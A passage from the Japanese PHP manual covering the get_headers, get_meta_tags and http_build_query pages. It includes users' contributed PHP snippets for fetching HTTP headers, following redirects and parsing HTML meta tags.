    curl_setopt($ch, CURLOPT_TIMEOUT,        15);

    $r = curl_exec($ch);
    $r = split("\n", $r);
    return $r;
}

If you do want to follow redirects, you can do something like this:

$go = 1;
$i = 1;

while ($go && $i < 6)
{
    $headers = get_headers_curl($url);
    $go = getNextLocation($headers);
    if ($go)
    {
        $url = modifyUrl($go);
    }
    $i++;
}

function getNextLocation($headers)
{
    $array = $headers;
    $count = count($array);

    for ($i=0; $i < $count; $i++)
    {
        if (strpos($array[$i], "ocation:"))
        {
                $url = substr($array[$i], 10);
        }
    }
    if ($url)
    {
        return $url;
    }
    else
    {
        return 0;
    }
}
?>
info at marc-gutt dot de 21-Jun-2008 05:04
Should be the same than the original get_headers():

<?php
if (!function_exists('get_headers')) {
function get_headers($url, $format=0) {
    $headers = array();
    $url = parse_url($url);
    $host = isset($url['host']) ? $url['host'] : '';
    $port = isset($url['port']) ? $url['port'] : 80;
    $path = (isset($url['path']) ? $url['path'] : '/') . (isset($url['query']) ? '?' . $url['query'] : '');
    $fp = fsockopen($host, $port, $errno, $errstr, 3);
    if ($fp)
    {
        $hdr = "GET $path HTTP/1.1\r\n";
        $hdr .= "Host: $host \r\n";
        $hdr .= "Connection: Close\r\n\r\n";
        fwrite($fp, $hdr);
        while (!feof($fp) && $line = trim(fgets($fp, 1024)))
        {
            if ($line == "\r\n") break;
            list($key, $val) = explode(': ', $line, 2);
            if ($format)
                if ($val) $headers[$key] = $val;
                else $headers[] = $key;
            else $headers[] = $line;
        }
        fclose($fp);
        return $headers;
    }
    return false;
}
}
?>
php dot sirlancelot at spamgourmet dot com 05-Jun-2008 01:59
I tried to replicate the native behavior as much as possible for systems that don't have the get_headers() function. Here it is:
<?php
if (!function_exists('get_headers')) {
function get_headers($Url, $Format= 0, $Depth= 0) {
    if ($Depth > 5) return;
    $Parts = parse_url($Url);
    if (!array_key_exists('path', $Parts))   $Parts['path'] = '/';
    if (!array_key_exists('port', $Parts))   $Parts['port'] = 80;
    if (!array_key_exists('scheme', $Parts)) $Parts['scheme'] = 'http';

    $Return = array();
    $fp = fsockopen($Parts['host'], $Parts['port'], $errno, $errstr, 30);
    if ($fp) {
        $Out = 'GET '.$Parts['path'].(isset($Parts['query']) ? '?'.@$Parts['query'] : '')." HTTP/1.1\r\n".
               'Host: '.$Parts['host'].($Parts['port'] != 80 ? ':'.$Parts['port'] : '')."\r\n".
               'Connection: Close'."\r\n";
        fwrite($fp, $Out."\r\n");
        $Redirect = false; $RedirectUrl = '';
        while (!feof($fp) && $InLine = fgets($fp, 1280)) {
            if ($InLine == "\r\n") break;
            $InLine = rtrim($InLine);

            list($Key, $Value) = explode(': ', $InLine, 2);
            if ($Key == $InLine) {
                if ($Format == 1)
                        $Return[$Depth] = $InLine;
                else    $Return[] = $InLine;

                if (strpos($InLine, 'Moved') > 0) $Redirect = true;
            } else {
                if ($Key == 'Location') $RedirectUrl = $Value;
                if ($Format == 1)
                        $Return[$Key] = $Value;
                else    $Return[] = $Key.': '.$Value;
            }
        }
        fclose($fp);
        if ($Redirect && !empty($RedirectUrl)) {
            $NewParts = parse_url($RedirectUrl);
            if (!array_key_exists('host', $NewParts))   $RedirectUrl = $Parts['host'].$RedirectUrl;
            if (!array_key_exists('scheme', $NewParts)) $RedirectUrl = $Parts['scheme'].'://'.$RedirectUrl;
            $RedirectHeaders = get_headers($RedirectUrl, $Format, $Depth+1);
            if ($RedirectHeaders) $Return = array_merge_recursive($Return, $RedirectHeaders);
        }
        return $Return;
    }
    return false;
}}
?>
The function will handle up to five redirects.
Enjoy!
dxtrim at yahoo dot com 17-Jan-2008 01:16
Content-Type returns a value depending only on the extension and not the real MIME TYPE.

So, bad_file.exe renamed to good_file.doc will return application/msword

A file without extension returns a 404.
13-Nov-2006 12:29
I've noticed it.
Some Server will simply return the false reply header if you sent 'HEAD' request instead of 'GET'. The 'GET' request header always receiving the most actual HTTP header instead of 'HEAD' request header. But If you don't mind for a fast but risky method then 'HEAD' request is better for you.

btw ... this is get header with additional information such as User, Pass & Refferer. ...
<?php
    function get_headers_x($url,$format=0, $user='', $pass='', $referer='') {
        if (!empty($user)) {
            $authentification = base64_encode($user.':'.$pass);
            $authline = "Authorization: Basic $authentification\r\n";
        }

        if (!empty($referer)) {
            $refererline = "Referer: $referer\r\n";
        }

        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "GET ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\n";
            if (!empty($url_info['port'])) {
                $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n";
            } else {
                $head .= "Host: ".@$url_info['host']."\r\n";
            }
            $head .= "Connection: Close\r\n";
            $head .= "Accept: */*\r\n";
            $head .= $refererline;
            $head .= $authline;
            $head .= "\r\n";

            fputs($fp, $head);
            while(!feof($fp) or ($eoheader==true)) {
                if($header=fgets($fp, 1024)) {
                    if ($header == "\r\n") {
                        $eoheader = true;
                        break;
                    } else {
                        $header = trim($header);
                    }

                    if($format == 1) {
                    $key = array_shift(explode(':',$header));
                        if($key == $header) {
                            $headers[] = $header;
                        } else {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                    unset($key);
                    } else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;

        } else {
            return false;
        }
    }
?>

Regards.
Donovan
10-May-2006 04:10
If you want to get headers that current PHP process is going to send back to browser, see headers_list()
stuart at sixletterwords dot com 14-Sep-2005 12:52
hey, i came across this afew weeks ago and used the function in an app for recording info about domains that my company owns, and found that the status this returns was wrong most of the time (400 bad request or void for sites that were clearly online). then looking into it i noticed the problem was that it wasn't able to get the correct info about sites with redirections. but thats not the full problem because everything on my server was returning the wrong status too. i searched around on php.net for other info and found that fsockopen's example worked better and only needed some tweeking.

heres the function i put together from it and a small change.

<?php
if(!function_exists('get_headers')) {
   function get_headers($url,$format=0,$httpn=0){
    $fp = fsockopen($url, 80, $errno, $errstr, 30);
    if ($fp) {
       $out = "GET / HTTP/1.1\r\n";
       $out .= "Host: $url\r\n";
       $out .= "Connection: Close\r\n\r\n";
       fwrite($fp, $out);
       while (!feof($fp)) {
           $var.=fgets($fp, 1280);
       }

    $var=explode("<",$var);
    $var=$var[0];
    $var=explode("\n",$var);
    fclose($fp);
    return $var;
    }
    }
}
?>

this returns an array of the header (only problem being that if the site doesn't have correct html it'll pull in some content too).

hope this'll help someone else.
sey at sey dot prometheus-designs dot net 27-Jul-2005 04:10
The replacement updated get_headers function by aeontech at gmail dot com improperly formats dates when $format = 1.

Replace:
<?
else {
$headers[strtolower($h2[0])] = trim($h2[1]);
}
?>

With:
<?
else {
$foo = implode( ':', $h2 );
$foo = preg_replace( '/[a-zA-Z- ]*: /', '', $foo );
$headers[strtolower($h2[0])] = trim( $foo );
}
drfickle2 at yahoo dot com 27-Jul-2005 05:01
aeontech, this the below change adds support for SSL connections. Thanks for the code!

        if (isset($url_info['scheme']) && $url_info['scheme'] == 'https') {
            $port = 443;
            $fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 30);
        } else {
           $port = isset($url_info['port']) ? $url_info['port'] : 80;
            $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        }
15-Jul-2005 01:37
For anyone reading the previous comments, here is code that takes into account all the previous suggestions and includes a bugfix, too.

This code basically provides the "get_headers" function even on systems that are not running PHP 5.0.  It uses strtolower() on the keys, as suggested.  It uses the $h2 array instead of the $key, as suggested.  It removes a line about unsetting the $key -- no reason to unset something which is no longer used.  And I've changed the status header to be named "status" (instead of "0") in the array.  Note that if more than one header is returned without a label, they'll be stuck in "status" -- but I think status is the only header that comes back without a label, so it works for me.  So, first the code, then a sample of the usage:

<?php
if(!function_exists('get_headers')) {
   /**
   * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0) {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query'];
            $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp)) {
                if($header=trim(fgets($fp, 1024))) {
                    if($format == 1) {
                        $h2 = explode(':',$header);
                        // the first element is the http header type, such as HTTP/1.1 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($h2[0] == $header) {
                            $headers['status'] = $header;
                        }
                        else {
                            $headers[strtolower($h2[0])] = trim($h2[1]);
                        }
                    }
                    else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else {
            return false;
        }
    }
}
?>

OK?  Here's the usage:

<?php
$response = get_headers('http://www.example.com/', 1);
if (!$response) {
    echo 'Unable to initiate connection.';
}
else {
    print_r($response);
}
?>
aeontech at gmail dot com 23-Dec-2004 05:20
In response to dotpointer's modification of Jamaz' solution...

Here is a small modification of your function, this adds the emulation of the optional $format parameter.

<?php
if(!function_exists('get_headers')) {

    /**
    * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0)
    {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);

        if($fp)
        {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp))
            {
                if($header=trim(fgets($fp, 1024)))
                {
                    if($format == 1)
                    {
                        $key = array_shift(explode(':',$header));
                        // the first element is the http header type, such as HTTP 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($key == $header)
                        {
                            $headers[] = $header;
                        }
                        else
                        {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                        unset($key);
                    }
                    else
                    {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else
        {
            return false;
        }
    }
}
?>


ファイル上のすべてのメタタグ情報を配列に展開する

  • ≪ get_headers
  • http_build_query ≫
  • PHP Manual
  • URL 関数
  • ファイル上のすべてのメタタグ情報を配列に展開する

get_meta_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

get_meta_tags — ファイル上のすべてのメタタグ情報を配列に展開する

説明

get_meta_tags ( string $filename , bool $use_include_path = false ) : array|false

filename 内の各行をパースし <meta> タグ内の情報を配列として返します。 </head> でパースを終了します。

パラメータ

filename

HTML ファイルへのパスを表す文字列。 ローカルファイルのほか URL も指定できます。

例1 get_meta_tags() が何をパースするのか

<meta name="author" content="name">
<meta name="keywords" content="php documentation">
<meta name="DESCRIPTION" content="a php manual">
<meta name="geo.position" content="49.33;-86.59">
</head> <!-- ここでパースを終了します -->
(改行コードに注意してください。PHP は入力をパースするためにネイティブ関数を使用するため、 Macintosh のファイルは Unix 上では動作しません)。

use_include_path

use_include_path を true に指定すると、 include_path ディレクティブの内容にしたがってファイルを探します。 これはローカルファイルにのみ有効で、URL の場合は使用できません。

返り値

パースされたメタタグを含む配列を返します。

name 属性の値が配列のキーとなります。content 属性の値が配列の要素となります。 標準の配列関数を利用することでこれらの値に簡単にアクセスすることができます。 name 属性で特別な文字が使われている場合は '_' で代用されます。 それ以外は小文字に変換されます。もしも同じ名前のメタタグがある場合には 最後のもののみが返されます。

失敗時に false を返します。

例

例2 get_meta_tags() が何を返すのか

<?php
// 上のタグは www.example.com 上のものだと仮定します
$tags = get_meta_tags('http://www.example.com/');

// すべてのキーが小文字であり、. (ピリオド) が _ に
// 置換されていることに注目してください。
echo $tags['author'];       // name
echo $tags['keywords'];     // php documentation
echo $tags['description'];  // a php manual
echo $tags['geo_position']; // 49.33;-86.59
?>

注意

注意:

name 属性がついているメタタグのみがパースの対象となります。 クォートは不要です。

参考

  • htmlentities() - 適用可能な文字を全て HTML エンティティに変換する
  • urlencode() - 文字列を URL エンコードする

User Contributed Notes

bobble bubble 05-Aug-2015 08:07
This regex gets meta tags independent of sequence by capturing inside a lookahead.
Further uses the branch reset feature for different quote styles of values.
The pattern can be tested here: https://regex101.com/r/oE4oU9/1

<?PHP

function getMetaTags($str)
{
  $pattern = '
  ~<\s*meta\s

  # using lookahead to capture type to $1
    (?=[^>]*?
    \b(?:name|property|http-equiv)\s*=\s*
    (?|"\s*([^"]*?)\s*"|\'\s*([^\']*?)\s*\'|
    ([^"\'>]*?)(?=\s*/?\s*>|\s\w+\s*=))
  )

  # capture content to $2
  [^>]*?\bcontent\s*=\s*
    (?|"\s*([^"]*?)\s*"|\'\s*([^\']*?)\s*\'|
    ([^"\'>]*?)(?=\s*/?\s*>|\s\w+\s*=))
  [^>]*>

  ~ix';

  if(preg_match_all($pattern, $str, $out))
    return array_combine($out[1], $out[2]);
  return array();
}

// usage
$meta_tags = getMetaTags($str);

?>
LWC 25-Apr-2015 08:38
New version based on mariano at cricava dot com's work with:
1) Support for Meta properties (like Facebook's og tags).
2) Support for Unicode (UTF-8) encoded Meta lines.
3) An option not to convert htmlentities - if you plan to actually use the results and not just display them.

function getUrlData($url, $raw=false) // $raw - enable for raw display
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;
        $metaProperties = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*(name|property)="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 4)
        {
            $originals = $match[0];
            $names = $match[2];
            $values = $match[3];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();
                $metaProperties = $metaTags;
                if ($raw) {
                    if (version_compare(PHP_VERSION, '5.4.0') == -1)
                         $flags = ENT_COMPAT;
                    else
                         $flags = ENT_COMPAT | ENT_HTML401;
                }

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    if ($match[1][$i] == 'name')
                         $meta_type = 'metaTags';
                    else
                         $meta_type = 'metaProperties';
                    if ($raw)
                        ${$meta_type}[$names[$i]] = array (
                            'html' => htmlentities($originals[$i], $flags, 'UTF-8'),
                            'value' => $values[$i]
                        );
                    else
                        ${$meta_type}[$names[$i]] = array (
                            'html' => $originals[$i],
                            'value' => $values[$i]
                        );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags,
            'metaProperties' => $metaProperties,
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

<?php
$result = getUrlData('http://whatever...', true);

echo '<pre>'; print_r($result, true); echo '</pre>';

?>

Output example:

<?php
Array
(
    [title] => The requested page's title
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Something..." />
                    [value] => Something...
                )
        )
    [metaProperties] => Array
        (
            [og:type] => Array
                (
                    [html] => <meta property="og:type" content="article"/>/>
                    [value] => article
                )
        )
)
?>
richard dot dern at athaliasoft dot fr 02-Oct-2013 08:50
I personally experienced less issues using the DOM functions than regular expressions while trying to fetch meta tags and not using get_meta_tags function (in order to get http-equiv meta tags too).

<?php

$doc = new DOMDocument();
$doc->loadHTML($html);

$xpath = new DOMXPath($doc);

$nodes = $xpath->query('//head/meta');

foreach($nodes as $node) {
    [...]
}

?>
Ebpo 08-Mar-2013 06:31
Be aware that the function looks for the metatags in the whole page. If one of the meta is commented in your code for some reason, it will still be grabed.
jstel at 126 dot com 13-Jul-2009 09:36
this function could get each meta of html content , and stripped all js and css.

<?php
function get_meta_data($content)
{
    $content = strtolower($content);
    $content = preg_replace("'<style[^>]*>.*</style>'siU",'',$content);  // strip js
    $content = preg_replace("'<script[^>]*>.*</script>'siU",'',$content); // strip css
    $split = explode("\n",$content);
    foreach ($split as $k => $v)
    {
        if (strpos(' '.$v,'<meta')) {
             preg_match_all(
"/<meta[^>]+(http\-equiv|name)=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]*>/i",
$v, $split_content[],PREG_PATTERN_ORDER);;
        }
    }
    return $split_content;
}
?>
Antonio - Malaga 10-Feb-2009 02:21
It's not work if meta syntax not have trailing slash.
doob_ at gmx dot de 27-Nov-2008 04:12
<?php

/*
** Extracts and formats meta tag content
*/

function get_meta_data($url, $searchkey='') {
    $data = get_meta_tags($url);    // get the meta data in an array
    foreach($data as $key => $value) {
        if(mb_detect_encoding($value, 'UTF-8, ISO-8859-1', true) != 'ISO-8859-1') {    // check whether the content is UTF-8 or ISO-8859-1
            $value = utf8_decode($value);    // if UTF-8 decode it
        }
        $value = strtr($value, get_html_translation_table(HTML_ENTITIES));    // mask the content
        if($searchkey != '') {    // if only one meta tag is in demand e.g. 'description'
            if($key == $searchkey) {
                $str = $value;    // just return the value
            }
        } else {    // all meta tags
            $pattern = '/ |,/i';    // ' ' or ','
            $array = preg_split($pattern, $value, -1, PREG_SPLIT_NO_EMPTY);    // split it in an array, so we have the count of words
            $str .= '<p><span style="display:block;color:#000000;font-weight:bold;">' . $key . ' <span style="font-weight:normal;">(' . count($array) . ' words | ' . strlen($value) . ' chars)</span></span>' . $value . '</p>';    // format data with count of words and chars
        }
    }
    return $str;
}

$content .= get_meta_data("http://www.example.com/");
/*
output looks like this:

description (23 words | 167 chars)
SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.

keywords (13 words | 119 chars)
SELFHTML, HTML, Dynamic HTML, JavaScript, CGI, Perl, Grafik, WWW-Seiten, Web-Seiten, Hilfe, Dokumentation, Beschreibung

etc.

*/

$content .= get_meta_data("http://www.example.com/", "description");
/*
output looks like this:

SELFHTML 8.1.2 - Die bekannte Dokumentation zu HTML, JavaScript und CGI/Perl - Tutorial und Referenz, mit etlichen Zusatztips zu Design, Grafik, Projektverwaltung usw.
*/

?>
diel at caroes dot be 16-Jan-2008 10:38
Quick meta data grabber
[code]
if(get_meta_tags('http://'.$_POST['pagina'])){
        print '<font class="midden">Meta data from http://'.$_POST['pagina'].'</font>';
        $metadata = get_meta_tags('http://'.$_POST['pagina']);
        echo '<table width="100%">';
        print '<tr><td>Meta</td><td>Waarde</td></tr>';
        foreach($metadata as $naam => $waarde){
            echo '<tr><td valign="top">'.$naam.'</td><td>'.$waarde.'</td></tr>';
        }
        print '</table>';
    }else{
        print '
        <div class="red_h">Incorrect</div>
        ';
    }
[/code]
roganty at gmail dot com 19-Aug-2006 03:33
This is a slight amendment to jimmyxx at gmail dot com function

I tried using the regex displayed in his code, and php threw up a couple of errors

Below is the correct regular expression that works
(Please note that I had to split the regex into strings because php.net was complaining about the line being to long)
<?php
preg_match_all(
   "|<meta[^>]+name=\"([^\"]*)\"[^>]" . "+content=\"([^\"]*)\"[^>]+>|i",
   $html, $out,PREG_PATTERN_ORDER);
?>

The problem was due to the quotes being incorrectly escaped.
I hope this helps anyone who has been having problems with his code
jimmyxx at gmail dot com 20-Sep-2005 12:37
I used this as part of my mini php search based search engine - it really slowed the whole thing down. I wrote this function to read HTML (just fetch the file or use something like snoopy) and extract the meta data via a simple regex, works a treat and made my crawler much faster:

<?php

function get_meta_data($html) {

    preg_match_all(
    "|<meta[^>]+name=\\"([^\\"]*)\\"[^>]+content=\\"([^\\"]*)\\"[^>]+>|i",  $html, $out,PREG_PATTERN_ORDER);

    for ($i=0;$i < count($out[1]);$i++) {
        // loop through the meta data - add your own tags here if you need
        if (strtolower($out[1][$i]) == "keywords") $meta['keywords'] = $out[2][$i];
        if (strtolower($out[1][$i]) == "description") $meta['description'] = $out[2][$i];
    }

return $meta;
}

?>
mariano at cricava dot com 12-Sep-2005 05:18
Based on Michael Knapp's code, and adding some regex, here's a function that will get all meta tags and the title based on a URL. If there's an error, it will return false. Using the function getUrlContents(), also included, it takes care of META REFRESH re-directions, following up to the specified number of redirections. Please note that the regular expressions included were split into strings because php.net was complaining about the line being to long ;)

<?php
function getUrlData($url)
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*name="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 3)
        {
            $originals = $match[0];
            $names = $match[1];
            $values = $match[2];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    $metaTags[$names[$i]] = array (
                        'html' => htmlentities($originals[$i]),
                        'value' => $values[$i]
                    );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

Here's an example of its usage. Check that the included URL has a META REFRESH redirection:

<?php
$result = getUrlData('http://www.marianoiglesias.com.ar/');

echo '<pre>'; print_r($result); echo '</pre>';

?>

For the above code the output would be:

<?php
Array
(
    [title] => Mariano Iglesias: El Eternauta
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well." />
                    [value] => Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well.
                )

            [DC.title] => Array
                (
                    [html] => <meta name="DC.title" content="Mariano Iglesias - Weblog" />
                    [value] => Mariano Iglesias - Weblog
                )

            [ICBM] => Array
                (
                    [html] => <meta name="ICBM" content="-34.6017, -58.3956" />
                    [value] => -34.6017, -58.3956
                )

            [geo.position] => Array
                (
                    [html] => <meta name="geo.position" content="-34.6017;-58.3956" />
                    [value] => -34.6017;-58.3956
                )

            [geo.region] => Array
                (
                    [html] => <meta name="geo.region" content="AR-BA">
                    [value] => AR-BA
                )

            [geo.placename] => Array
                (
                    [html] => <meta name="geo.placename" content="Buenos Aires">
                    [value] => Buenos Aires
                )

        )

)
?>
Michael Knapp 12-Mar-2005 12:47
Tim's code is good (thanks Tim), except it won't work very well if the tag is part of a long non-breaking string.

E.g. try getting the title from Google Maps (http://www.google.com/maps).

A better solution is:

<?php
$title = "";

if ($fp = @fopen( $_POST['url'], 'r' )) {

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
       $buf = trim(fgets( $fp, 4096 )) ;
       $cont .= $buf;
    }

    // get tag contents
    @preg_match( "/<title>([a-z 0-9]*)<\/title>/si", $cont, $match );

    // tag contents
    $title = strip_tags(@$match[ 1 ]);
}

?>

Note the strip_tags. Another thing to be careful of is to check for ", <, and >. You will need to strip those out if you are posting the output to a form.

Also, it is probably best to use the /i modifier, because some people might code <TITLE> etc...
rehfeld 05-Feb-2005 06:45
in response to
jp at webgraphe dot com

this function grabs meta tags, not http headers

if you need the headers

<?php

$fp = fopen('http://example.org/somepage.html', 'r');

// the variable $http_response_header magically appears
print_r($http_response_header);

// or
$meta_data = stream_get_meta_data($fp);
print_r($meta_data);

?>
tim dot bennett at haveaniceplay dot com 01-Feb-2005 07:43
If you want to get the contents of tags other than meta you can use:

<?php

$page = "http://www.mysite.com/apage.php";

    // tags
    $start = '<atag>';
    $end = '<\/atag>';

    // open the file
    $fp = fopen( $page, 'r' );

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
        $buf = trim( fgets( $fp, 4096 ) );
        $cont .= $buf;
    }

    // get tag contents
    preg_match( "/$start(.*)$end/s", $cont, $match );

    // tag contents
    $contents = $match[ 1 ];

?>
jp at webgraphe dot com 12-Dec-2003 05:37
If the URL is doing a redirection using the headers (like you would do with PHP function header("Location: URL");), the page has no content (in general). It appears get_meta_tags() doesn't catch that kind of redirection (like cURL would do) and it lead me to a timeout of my script.

I experienced this in a spider I wrote in order to feed my database of all available pages on my site and one link was linking to a page that simply has the following code:

<?php
  header("Location: sections.php?section=home");
  exit();
?>

That made my script hang for a moment and apparently, get_meta_tags() wasn't even able to return me an error.

JP.
20-Dec-2001 11:01
Tested PHP 4.0.6

get_meta_tags() seems to look only in the beginning of a file, meaning that e.g. if there is a lot of PHP code before the HTML header it will return nothing ...
Tested using get_meta_tags() on local files with about 9000 characters of PHP code before HTML HEADER.

Workaround: if possible move code after header or if not: include a file.
Ben dot Davis at furman dot edu 30-Jul-2001 03:29
I have found that for large searches, get_meta_tags is very slow.  I created a large search engine for a website that couldnt use a database and I first tried pulling out the meta tags.
I have found that it is actually much faster to use eregi to pull out the meta tags.  This code below pulls out the description:

if (eregi ("<meta name=\"description\" content=[^>]*", $contents, $descresult))
                                {
                                    $description = explode("<meta name=\"description\" content=", $descresult[0]);
                                    echo "<font face=\"Arial\" size=2>$description[1]</font>";

                                }
richard at pifmagazine dot com 21-Apr-2000 05:17
Something that is not mentioned above and should be : When using get_meta_tags on a remote PHP page the page will be parsed before the meta tags are returned - so you can capture meta tags generated dynamically (by PHP??) on the remote end.

This DOES NOT work the same way when getting meta tags on local file systems.  Local files are not parsed through the web server before returning to get_meta_tags().  If the META tag is hard-coded into the page, you'll be fine - but if it dynamically generated you will not be able to capture it unless you use the full URL when calling your local files.
richard at pifmagazine dot com 21-Apr-2000 05:00
An Important Note about META tags and this function :  if your META tag contains newline "\n"  characters, get_meta_tags() will return a NULL value for that name property.  Removing the newlines from the source META tag corrects the problem.


URL エンコードされたクエリ文字列を生成する

  • ≪ get_meta_tags
  • parse_url ≫
  • PHP Manual
  • URL 関数
  • URL エンコードされたクエリ文字列を生成する

http_build_query

(PHP 5, PHP 7, PHP 8)

http_build_query — URL エンコードされたクエリ文字列を生成する

説明

http_build_query ( mixed $data , string $numeric_prefix = ? , string $arg_separator = ? , int $encoding_type = PHP_QUERY_RFC1738 ) : string

与えられた連想配列 (もしくは添字配列) から URL エンコードされたクエリ文字列を生成します。

パラメータ

data

プロパティを含む配列もしくはオブジェクト。

data が配列の場合の形式は、 単純な一次元構造か あるいは配列の配列 (言い換えると、他の配列を含む配列) となります。

data がオブジェクトの場合、 public プロパティだけが結果に含められます。

numeric_prefix

情報源となる配列 (query_data で指定した配列) に数値インデックスが使われていて、しかも numeric_prefix が指定された場合、数値のインデックスを持つ要素に関してのみインデックスの前に numeric_prefix で指定した値が付加されます。

これは、後で PHP や他の CGI アプリケーションによってデータがデコードされる際、 正当な変数名になるよう考慮したものです。

arg_separator

arg_separator.output が区分のためのセパレータとして使用されます。ただし、 このパラメータが指定されていた場合は それが使用されます。

encoding_type

デフォルトは PHP_QUERY_RFC1738 です。

encoding_type が PHP_QUERY_RFC1738 の場合は » RFC 1738 に従ってエンコードされ、メディアタイプは application/x-www-form-urlencoded となります。 つまり、スペースはプラス記号 (+) にエンコードされるということです。

encoding_type が PHP_QUERY_RFC3986 の場合は » RFC 3986 に従ってエンコードされ、 スペースはパーセント形式 (%20) となります。

返り値

URL エンコードされた文字列を返します。

例

例1 http_build_query() の簡単な使用法

<?php
$data = array(
    'foo' => 'bar',
    'baz' => 'boom',
    'cow' => 'milk',
    'php' => 'hypertext processor'
);

echo http_build_query($data) . "\n";
echo http_build_query($data, '', '&amp;');

?>

上の例の出力は以下となります。

foo=bar&baz=boom&cow=milk&php=hypertext+processor
foo=bar&amp;baz=boom&amp;cow=milk&amp;php=hypertext+processor

例2 数値インデックス要素の場合での http_build_query()

<?php
$data = array('foo', 'bar', 'baz', 'boom', 'cow' => 'milk', 'php' => 'hypertext processor');

echo http_build_query($data) . "\n";
echo http_build_query($data, 'myvar_');
?>

上の例の出力は以下となります。

0=foo&1=bar&2=baz&3=boom&cow=milk&php=hypertext+processor
myvar_0=foo&myvar_1=bar&myvar_2=baz&myvar_3=boom&cow=milk&php=hypertext+processor

例3 複雑な配列の場合での http_build_query()

<?php
$data = array(
    'user' => array(
        'name' => 'Bob Smith',
        'age'  => 47,
        'sex'  => 'M',
        'dob'  => '5/12/1956'
    ),
    'pastimes' => array('golf', 'opera', 'poker', 'rap'),
    'children' => array(
